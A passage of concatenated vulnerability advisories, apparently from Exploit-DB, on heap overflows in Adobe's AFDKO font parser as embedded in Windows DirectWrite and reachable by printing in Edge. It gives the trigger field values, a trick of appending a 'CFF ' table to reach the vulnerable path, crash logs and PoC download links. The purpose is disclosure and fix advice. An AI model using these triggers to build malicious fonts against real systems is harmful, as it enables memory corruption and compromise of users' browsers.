  2358                  long next = read2(h);
  2359
  2360                  while (gid < next)
  2361                      h->glyphs.array[gid++].iFD = (unsigned char)fd;
  2362              }
  2363          } break;
--- cut ---

In the handling of FDSelect Type 3 (see [5]), the code doesn't consider the size of the h->glyphs array and writes to it solely based on the FDSelect information. If the values read from the input stream in lines 2353, 2355 and 2358 exceed the number of glyphs in the font, the array may be overflown in line 2361, corrupting adjacent objects on the heap. The h->glyphs array is initialized in readCharStringsINDEX() based on the number of CharStrings found in the font:

--- cut ---
  1791      dnaSET_CNT(h->glyphs, index.count);
--- cut ---

-----=====[ Proof of Concept ]=====-----

The proof of concept font contains an FDSelect table with the following initial values:

- nRanges = 0x0001
- gid = 0x0000
- fd = 0x00
- next = 0xffff (modified from the original 0x0586)

By increasing the value of "next" from 1414 to 65535, we cause the loop in lines 2360-2361 to go largely out of bounds and overflow the h->glyphs array.

-----=====[ Crash logs ]=====-----

A 64-bit build of "tx" compiled with AddressSanitizer, started with ./tx -cff poc.otf prints out the following report:

--- cut ---
=================================================================
==235715==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7fb8259a282a at pc 0x000000540130 bp 0x7ffe5b379f50 sp 0x7ffe5b379f48
WRITE of size 1 at 0x7fb8259a282a thread T0
    #0 0x54012f in readFDSelect afdko/c/public/lib/source/cffread/cffread.c:2361:48
    #1 0x529a3d in cfrBegFont afdko/c/public/lib/source/cffread/cffread.c:2791:13
    #2 0x50928d in cfrReadFont afdko/c/tx/source/tx.c:137:9
    #3 0x508cc3 in doFile afdko/c/tx/source/tx.c:429:17
    #4 0x506b2e in doSingleFileSet afdko/c/tx/source/tx.c:488:5
    #5 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17
    #6 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9
    #7 0x7fb8246e02b0 in __libc_start_main
    #8 0x41e5b9 in _start

0x7fb8259a282a is located 42 bytes to the right of 143360-byte region [0x7fb82597f800,0x7fb8259a2800)
allocated by thread T0 here:
    #0 0x4c63f3 in __interceptor_malloc
    #1 0x6c9ac2 in mem_manage afdko/c/public/lib/source/tx_shared/tx_shared.c:73:20
    #2 0x5474a4 in dna_manage afdko/c/public/lib/source/cffread/cffread.c:271:17
    #3 0x7de64e in dnaGrow afdko/c/public/lib/source/dynarr/dynarr.c:86:23
    #4 0x7dec75 in dnaSetCnt afdko/c/public/lib/source/dynarr/dynarr.c:119:13
    #5 0x53e6fa in readCharStringsINDEX afdko/c/public/lib/source/cffread/cffread.c:1791:5
    #6 0x5295be in cfrBegFont afdko/c/public/lib/source/cffread/cffread.c:2769:9
    #7 0x50928d in cfrReadFont afdko/c/tx/source/tx.c:137:9
    #8 0x508cc3 in doFile afdko/c/tx/source/tx.c:429:17
    #9 0x506b2e in doSingleFileSet afdko/c/tx/source/tx.c:488:5
    #10 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17
    #11 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9
    #12 0x7fb8246e02b0 in __libc_start_main

SUMMARY: AddressSanitizer: heap-buffer-overflow afdko/c/public/lib/source/cffread/cffread.c:2361:48 in readFDSelect
Shadow bytes around the buggy address:
  0x0ff784b2c4b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ff784b2c4c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ff784b2c4d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ff784b2c4e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ff784b2c4f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0ff784b2c500: fa fa fa fa fa[fa]fa fa fa fa fa fa fa fa fa fa
  0x0ff784b2c510: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0ff784b2c520: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0ff784b2c530: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0ff784b2c540: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0ff784b2c550: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==235715==ABORTING
--- cut ---

A non-instrumented version of "tx" crashes with a SIGSEGV when it reaches an unmapped memory area:

--- cut ---
Program received signal SIGSEGV, Segmentation fault.
0x0000000000412cd7 in readFDSelect (h=0x710380) at ../../../../../source/cffread/cffread.c:2361
2361                        h->glyphs.array[gid++].iFD = (unsigned char)fd;
(gdb) print gid
$1 = 1998
(gdb) x/10i $rip
=> 0x412cd7 <readFDSelect+551>: mov    %cl,0x2a(%rdx)
   0x412cda <readFDSelect+554>: jmpq   0x412ca3 <readFDSelect+499>
   0x412cdf <readFDSelect+559>: jmpq   0x412c23 <readFDSelect+371>
   0x412ce4 <readFDSelect+564>: jmpq   0x412cf7 <readFDSelect+583>
   0x412ce9 <readFDSelect+569>: mov    -0x8(%rbp),%rdi
   0x412ced <readFDSelect+573>: mov    $0x1c,%esi
   0x412cf2 <readFDSelect+578>: callq  0x40cbb0 <fatal>
   0x412cf7 <readFDSelect+583>: mov    -0x8(%rbp),%rax
   0x412cfb <readFDSelect+587>: mov    0x35f8(%rax),%rax
   0x412d02 <readFDSelect+594>: mov    -0x8(%rbp),%rcx
(gdb) info reg $rdx
rdx            0x7ffff7ff7020   140737354100768
(gdb) x/10bx $rdx+0x2a
0x7ffff7ff704a: Cannot access memory at address 0x7ffff7ff704a
--- cut ---

A similar Microsoft Edge renderer process crash is also shown below:

--- cut ---
(5960.48c4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
DWrite!readFDSelect+0xe9:
00007ffb`29e6bd39 40886c012a      mov     byte ptr [rcx+rax+2Ah],bpl ds:00000263`f1d43002=??

0:038> ? rax
Evaluate expression: 2628282101824 = 00000263`f1d23040
0:038> ? rcx
Evaluate expression: 130968 = 00000000`0001ff98
0:038> db rax+rcx+2a
00000263`f1d43002  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
00000263`f1d43012  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
00000263`f1d43022  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
00000263`f1d43032  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
00000263`f1d43042  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
00000263`f1d43052  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
00000263`f1d43062  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
00000263`f1d43072  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????

0:038> k
 # Child-SP          RetAddr           Call Site
00 0000006f`88b4aef0 00007ffb`29e6de90 DWrite!readFDSelect+0xe9
01 0000006f`88b4af20 00007ffb`29e621e7 DWrite!cfrBegFont+0x5e4
02 0000006f`88b4b7b0 00007ffb`29df157a DWrite!AdobeCFF2Snapshot+0x10f
03 0000006f`88b4bcb0 00007ffb`29df0729 DWrite!FontInstancer::InstanceCffTable+0x212
04 0000006f`88b4be90 00007ffb`29df039a DWrite!FontInstancer::CreateInstanceInternal+0x249
05 0000006f`88b4c0b0 00007ffb`29dd5a4e DWrite!FontInstancer::CreateInstance+0x192
06 0000006f`88b4c410 00007ffb`34eb61ab DWrite!DWriteFontFace::CreateInstancedStream+0x9e
07 0000006f`88b4c4a0 00007ffb`34ea9148 d2d1!dxc::TextConvertor::InstanceFontResources+0x19f
08 0000006f`88b4c5c0 00007ffb`0fb750f4 d2d1!dxc::CXpsPrintControl::Close+0xc8
09 0000006f`88b4c610 00007ffb`0fb4fcb0 edgehtml!CDXPrintControl::Close+0x44
0a 0000006f`88b4c660 00007ffb`0fb547ad edgehtml!CTemplatePrinter::EndPrintD2D+0x5c
0b 0000006f`88b4c690 00007ffb`0fa2b515 edgehtml!CPrintManagerTemplatePrinter::endPrint+0x2d
0c 0000006f`88b4c6c0 00007ffb`0f689175 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Trampoline_endPrint+0x45
0d 0000006f`88b4c700 00007ffb`0eb568f1 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Profiler_endPrint+0x25
[...]
--- cut ---

-----=====[ References ]=====-----

[1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/
[2] https://github.com/adobe-type-tools/afdko
[3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal
[4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369
[5] https://docs.microsoft.com/en-us/typography/opentype/spec/cff2#table-12-fdselect-format-3


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47094.zip
            
-----=====[ Background ]=====-----

AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree.

At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification.

We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality.

One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input. Below is a description of one such security vulnerability in Adobe's library exploitable through the Edge web browser.

-----=====[ Description ]=====-----

The readCharset() function in afdko/c/public/lib/source/cffread/cffread.c is designed to read and parse the charset information of an input OpenType font. It is called by cfrBegFont(), the standard entry point function for the "cfr" (CFF Reader) module of AFDKO. The relevant part of the function is shown below:

--- cut ---
[...]
  2179                  case 1:
  2180                      size = 1;
  2181                      /* Fall through */
  2182                  case 2:
  2183                      while (gid < h->glyphs.cnt) {
  2184                          unsigned short id = read2(h);
  2185                          long nLeft = readN(h, size);
  2186                          while (nLeft-- >= 0)
  2187                              addID(h, gid++, id++);
  2188                      }
  2189                      break;
--- cut ---

whereas addID() is defined as follows:

--- cut ---
  1838  /* Add SID/CID to charset */
  1839  static void addID(cfrCtx h, long gid, unsigned short id) {
  1840      abfGlyphInfo *info = &h->glyphs.array[gid];
  1841      if (h->flags & CID_FONT)
  1842          /* Save CID */
  1843          info->cid = id;
  1844      else {
  1845          /* Save SID */
  1846          info->gname.impl = id;
  1847          info->gname.ptr = sid2str(h, id);
  1848
  1849          /* Non-CID font so select FD[0] */
  1850          info->iFD = 0;
[...]
  1859      }
  1860  }
--- cut ---

The readCharset() routine doesn't consider the size of the h->glyphs array and writes to it solely based on the charset information. If the value read from the input stream in line 2185 exceeds the number of glyphs in the font, the array may be overflown in addID() (line 1843 or 1846, 1847, 1850), corrupting adjacent objects on the heap. The h->glyphs array is initialized in readCharStringsINDEX() according to the number of CharStrings found in the font:

--- cut ---
  1791      dnaSET_CNT(h->glyphs, index.count);
--- cut ---

-----=====[ Proof of Concept ]=====-----

The proof of concept font contains a charset descriptor with the following initial values:

- width = 0x02 (changed from 0x01)
- id = 0x4141 (changed from 0x0001)
- nLeft = 0xffff (changed from 0x15)

By increasing the value of "nLeft" from 21 to 65535, we cause the loop in lines 2386-2387 to go largely out of bounds and overflow the h->glyphs array.

In theory, the vulnerability shouldn't be possible to reach in Microsoft DirectWrite and its client applications, because AFDKO is only used there for instancing variable fonts, whereas such CFF2 fonts follow another execution path in the readCharset() function:

--- cut ---
  2138      if (h->header.major == 2) {
  2139          postRead(h);
  2140          if (h->cff2.mvar)
  2141              MVARread(h);
  2142          if (!(h->flags & CID_FONT))
  2143              readCharSetFromPost(h);
  2144          else {
  2145              long gid;
  2146              for (gid = 0; gid < h->glyphs.cnt; gid++) {
  2147                  abfGlyphInfo *info = &h->glyphs.array[gid];
  2148                  info->cid = (unsigned short)gid;
  2149              }
  2150          }
  2151          return;
  2152      }
--- cut ---

However, we have found that it is in fact possible to trigger the handling of CFFv1 in AFDKO, by appending the old style "CFF " table to a variable font which already includes a "CFF2" one. This causes DirectWrite to correctly load the variable font, but AFDKO still finds "CFF " first and passes it for further parsing, thanks to the following logic in srcOpen() (afdko/c/public/lib/source/cffread/cffread.c):

--- cut ---
   561                      /* OTF; use CFF table offset */
   562                      sfrTable *table =
   563                          sfrGetTableByTag(h->ctx.sfr, CTL_TAG('C', 'F', 'F', ' '));
   564                      if (table == NULL) {
   565                          table = sfrGetTableByTag(h->ctx.sfr, CTL_TAG('C', 'F', 'F', '2'));
   566                      }
   567                      if (table == NULL)
   568                          fatal(h, cfrErrNoCFF);
   569                      origin = table->offset;
--- cut ---

-----=====[ Crash logs ]=====-----

A 64-bit build of "tx" compiled with AddressSanitizer, started with ./tx -cff poc.otf prints out the following report:

--- cut ---
=================================================================
==236657==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62a00000b228 at pc 0x0000005563be bp 0x7ffe3c238d10 sp 0x7ffe3c238d08
WRITE of size 2 at 0x62a00000b228 thread T0
    #0 0x5563bd in addID afdko/c/public/lib/source/cffread/cffread.c:1843:19
    #1 0x53f71c in readCharset afdko/c/public/lib/source/cffread/cffread.c:2187:29
    #2 0x5299c7 in cfrBegFont afdko/c/public/lib/source/cffread/cffread.c:2789:9
    #3 0x50928d in cfrReadFont afdko/c/tx/source/tx.c:137:9
    #4 0x508cc3 in doFile afdko/c/tx/source/tx.c:429:17
    #5 0x506b2e in doSingleFileSet afdko/c/tx/source/tx.c:488:5
    #6 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17
    #7 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9
    #8 0x7f7bf34352b0 in __libc_start_main
    #9 0x41e5b9 in _start

0x62a00000b228 is located 40 bytes to the right of 20480-byte region [0x62a000006200,0x62a00000b200)
allocated by thread T0 here:
    #0 0x4c63f3 in __interceptor_malloc
    #1 0x6c9ac2 in mem_manage afdko/c/public/lib/source/tx_shared/tx_shared.c:73:20
    #2 0x5474a4 in dna_manage afdko/c/public/lib/source/cffread/cffread.c:271:17
    #3 0x7de64e in dnaGrow afdko/c/public/lib/source/dynarr/dynarr.c:86:23
    #4 0x7dec75 in dnaSetCnt afdko/c/public/lib/source/dynarr/dynarr.c:119:13
    #5 0x53e6fa in readCharStringsINDEX afdko/c/public/lib/source/cffread/cffread.c:1791:5
    #6 0x5295be in cfrBegFont afdko/c/public/lib/source/cffread/cffread.c:2769:9
    #7 0x50928d in cfrReadFont afdko/c/tx/source/tx.c:137:9
    #8 0x508cc3 in doFile afdko/c/tx/source/tx.c:429:17
    #9 0x506b2e in doSingleFileSet afdko/c/tx/source/tx.c:488:5
    #10 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17
    #11 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9
    #12 0x7f7bf34352b0 in __libc_start_main

SUMMARY: AddressSanitizer: heap-buffer-overflow afdko/c/public/lib/source/cffread/cffread.c:1843:19 in addID
Shadow bytes around the buggy address:
  0x0c547fff95f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c547fff9600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c547fff9610: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c547fff9620: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c547fff9630: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c547fff9640: fa fa fa fa fa[fa]fa fa fa fa fa fa fa fa fa fa
  0x0c547fff9650: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c547fff9660: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c547fff9670: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c547fff9680: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c547fff9690: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==236657==ABORTING
--- cut ---

A non-instrumented version of "tx" crashes with a SIGSEGV when it reaches an unmapped memory area:

--- cut ---
Program received signal SIGSEGV, Segmentation fault.
0x0000000000417d1e in addID (h=0x7103a0, gid=2293, id=18997) at ../../../../../source/cffread/cffread.c:1843
1843            info->cid = id;
(gdb) print info
$1 = (abfGlyphInfo *) 0x743000
(gdb) print &h->glyphs.array[gid]
$2 = (abfGlyphInfo *) 0x743000
(gdb) print gid
$3 = 2293
(gdb) x/10gx 0x743000
0x743000:       Cannot access memory at address 0x743000
(gdb) bt
#0  0x0000000000417d1e in addID (h=0x7103a0, gid=2293, id=18997) at ../../../../../source/cffread/cffread.c:1843
#1  0x0000000000412a57 in readCharset (h=0x7103a0) at ../../../../../source/cffread/cffread.c:2187
#2  0x000000000040dd64 in cfrBegFont (h=0x7103a0, flags=4, origin=0, ttcIndex=0, top=0x6f6048, UDV=0x0) at ../../../../../source/cffread/cffread.c:2789
#3  0x0000000000405e4e in cfrReadFont (h=0x6f6010, origin=0, ttcIndex=0) at ../../../../source/tx.c:137
#4  0x0000000000405c9e in doFile (h=0x6f6010, srcname=0x7fffffffdf4c "poc.otf") at ../../../../source/tx.c:429
#5  0x000000000040532e in doSingleFileSet (h=0x6f6010, srcname=0x7fffffffdf4c "poc.otf")
    at ../../../../source/tx.c:488
#6  0x0000000000402f59 in parseArgs (h=0x6f6010, argc=2, argv=0x7fffffffdc50) at ../../../../source/tx.c:558
#7  0x0000000000401df2 in main (argc=2, argv=0x7fffffffdc50) at ../../../../source/tx.c:1631
(gdb)
--- cut ---

A similar Microsoft Edge renderer process crash is also shown below:

--- cut ---
(4d58.50bc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
DWrite!addID+0x33:
00007ffb`29e6864b 66895cfe28      mov     word ptr [rsi+rdi*8+28h],bx ds:000001ea`f5fee000=????

0:038> ? rsi
Evaluate expression: 2108661076032 = 000001ea`f5fe9040
0:038> ? rdi
Evaluate expression: 2547 = 00000000`000009f3
0:038> db rsi+rdi*8+28
000001ea`f5fee000  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
000001ea`f5fee010  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
000001ea`f5fee020  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
000001ea`f5fee030  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
000001ea`f5fee040  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
000001ea`f5fee050  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
000001ea`f5fee060  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
000001ea`f5fee070  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????

0:038> k
 # Child-SP          RetAddr           Call Site
00 00000047`0fcfae10 00007ffb`29e6a262 DWrite!addID+0x33
01 00000047`0fcfae40 00007ffb`29e6de84 DWrite!readCharset+0x10a
02 00000047`0fcfae70 00007ffb`29e621e7 DWrite!cfrBegFont+0x5d8
03 00000047`0fcfb700 00007ffb`29df157a DWrite!AdobeCFF2Snapshot+0x10f
04 00000047`0fcfbc00 00007ffb`29df0729 DWrite!FontInstancer::InstanceCffTable+0x212
05 00000047`0fcfbde0 00007ffb`29df039a DWrite!FontInstancer::CreateInstanceInternal+0x249
06 00000047`0fcfc000 00007ffb`29dd5a4e DWrite!FontInstancer::CreateInstance+0x192
07 00000047`0fcfc360 00007ffb`34eb61ab DWrite!DWriteFontFace::CreateInstancedStream+0x9e
08 00000047`0fcfc3f0 00007ffb`34ea9148 d2d1!dxc::TextConvertor::InstanceFontResources+0x19f
09 00000047`0fcfc510 00007ffb`0fb750f4 d2d1!dxc::CXpsPrintControl::Close+0xc8
0a 00000047`0fcfc560 00007ffb`0fb4fcb0 edgehtml!CDXPrintControl::Close+0x44
0b 00000047`0fcfc5b0 00007ffb`0fb547ad edgehtml!CTemplatePrinter::EndPrintD2D+0x5c
0c 00000047`0fcfc5e0 00007ffb`0fa2b515 edgehtml!CPrintManagerTemplatePrinter::endPrint+0x2d
0d 00000047`0fcfc610 00007ffb`0f689175 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Trampoline_endPrint+0x45
0e 00000047`0fcfc650 00007ffb`0eb568f1 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Profiler_endPrint+0x25
[...]
--- cut ---

-----=====[ References ]=====-----

[1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/
[2] https://github.com/adobe-type-tools/afdko
[3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal
[4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47095.zip
            
-----=====[ Background ]=====-----

AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree.

At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification.

We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality.

One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input. Below is a description of one such security vulnerability in Adobe's library exploitable through the Edge web browser.

-----=====[ Description ]=====-----

The readStrings() function in afdko/c/public/lib/source/cffread/cffread.c is designed to read the font name string and the string INDEX strings from the input font. The relevant part of the function is shown below:

--- cut ---
  1727      /* Get FontName data and compute its size */
  1728      INDEXGet(h, &h->index.name, 0, &FontName);
  1729      lenFontName = FontName.end - FontName.begin;
  1730
  1731      /* Compute string data size */
  1732      lenStrings = (h->index.string.count == 0) ? 0 : (h->region.StringINDEX.end - h->index.string.data + 1 + /* String data bytes */
  1733                                                       h->index.string.count);                                /* Null termination */
  1734
  1735      /* Allocate buffers */
  1736      dnaSET_CNT(h->string.offsets, h->index.string.count + 1);
  1737      dnaSET_CNT(h->string.ptrs, h->index.string.count);
  1738      dnaSET_CNT(h->string.buf, lenFontName + 1 + lenStrings);
  1739
  1740      p = h->string.buf.array;
  1741      *p = '\0';
  1742      if (h->header.major == 1) {
  1743          /* Copy FontName into buffer */
  1744          srcSeek(h, FontName.begin);
  1745          srcRead(h, lenFontName, p);
  1746          p += lenFontName;
  1747          *p++ = '\0';
  1748      }
--- cut ---

The key line is 1738, where an integer overflow may occur. The "lenFontName" variable stores the length of the font name, which can be no greater than 65535. The "lenStrings" variable is initialized in lines 1732/1733 based on the length of the strings INDEX; primarily h->region.StringINDEX.end. The overall h->region.StringINDEX structure is filled out by the generic readINDEX() function, as called by cfrBegFont():

--- cut ---
  2712      if (h->header.major == 1) {
  2713          h->region.StringINDEX.begin = h->region.TopDICTINDEX.end;
  2714          if (h->region.StringINDEX.begin > 0) {
  2715              readINDEX(h, &h->region.StringINDEX, &h->index.string);
  2716              /* Read strings */
  2717              readStrings(h);
  2718          }
--- cut ---

More specifically, h->region.StringINDEX.end is written to in the last line of readINDEX():

--- cut ---
  1582      /* Read and validate offset size */
  1583      index->offSize = read1(h);
  1584      if (index->offSize < 1 || index->offSize > 4)
  1585          fatal(h, cfrErrINDEXHeader);
  1586
  1587      index->offset = region->begin + cntSize + 1; /* Get offset array base */
  1588
  1589      /* Read and validate first offset */
  1590      if (readN(h, index->offSize) != 1)
  1591          fatal(h, cfrErrINDEXOffset);
  1592
  1593      /* Set data reference */
  1594      index->data = index->offset + (index->count + 1) * index->offSize - 1;
  1595
  1596      /* Read last offset and compute INDEX length */
  1597      srcSeek(h, index->offset + index->count * index->offSize);
  1598      region->end = index->data + readN(h, index->offSize);
  1599  }
--- cut ---

On platforms where "long" is a 32-bit type (Windows x86/x64 and Linux x86), this gives us complete control over the aforementioned field, including setting it to a negative value. This enables us to set the "lenStrings" variable to an arbitrary number, and thus makes it possible to choose it such that the result of the "lenFontName + 1 + lenStrings" expression is smaller than the sum of the font name's length and the length of all other strings. As a result, the heap-based h->string.buf.array object may be overflown, corrupting adjacent allocations in the following lines:

--- cut ---
  1740      p = h->string.buf.array;
  1741      *p = '\0';
  1742      if (h->header.major == 1) {
  1743          /* Copy FontName into buffer */
  1744          srcSeek(h, FontName.begin);
  1745          srcRead(h, lenFontName, p);
  1746          p += lenFontName;
  1747          *p++ = '\0';
  1748      }
  1749
[...]
  1767
  1768      /* Read string data */
  1769      for (i = 0; i < (unsigned long)h->string.ptrs.cnt; i++) {
  1770          long length =
  1771              h->string.offsets.array[i + 1] - h->string.offsets.array[i];
  1772          srcRead(h, length, p);
  1773          h->string.ptrs.array[i] = p;
  1774          p += length;
  1775          *p++ = '\0';
  1776      }
--- cut ---

Part of the problem contributing to the vulnerability is the unsafe addition in cffread.c:1738, but part of it is also the fact that h->region.StringINDEX.end may be fully controlled through readINDEX() and the function doesn't perform any sanity checking to make sure that the offset is within bounds of the CFF stream. We would therefore recommend adding more checks to readINDEX(), e.g. to also verify that all offsets specified in the INDEX are declared in ascending order and are also within bounds.

The same checks should also be added to the analogous readSubrINDEX() function, which is even more permissive, as it allows an arbitrary value of offSize (instead of being limited to the 1-4 range). While we are at it, we also believe that the readN() routine should not ignore the N argument outside of <1 .. 4>, and instead throw a fatal error or at least attempt to read the specified N bytes from the input stream. Its current declaration is shown below:

--- cut ---
   505  /* Read 1-, 2-, 3-, or 4-byte number. */
   506  static uint32_t readN(cfrCtx h, int N) {
   507      uint32_t value = 0;
   508      switch (N) {
   509          case 4:
   510              value = read1(h);
   511          case 3:
   512              value = value << 8 | read1(h);
   513          case 2:
   514              value = value << 8 | read1(h);
   515          case 1:
   516              value = value << 8 | read1(h);
   517      }
   518      return value;
   519  }
--- cut ---

-----=====[ Proof of Concept ]=====-----

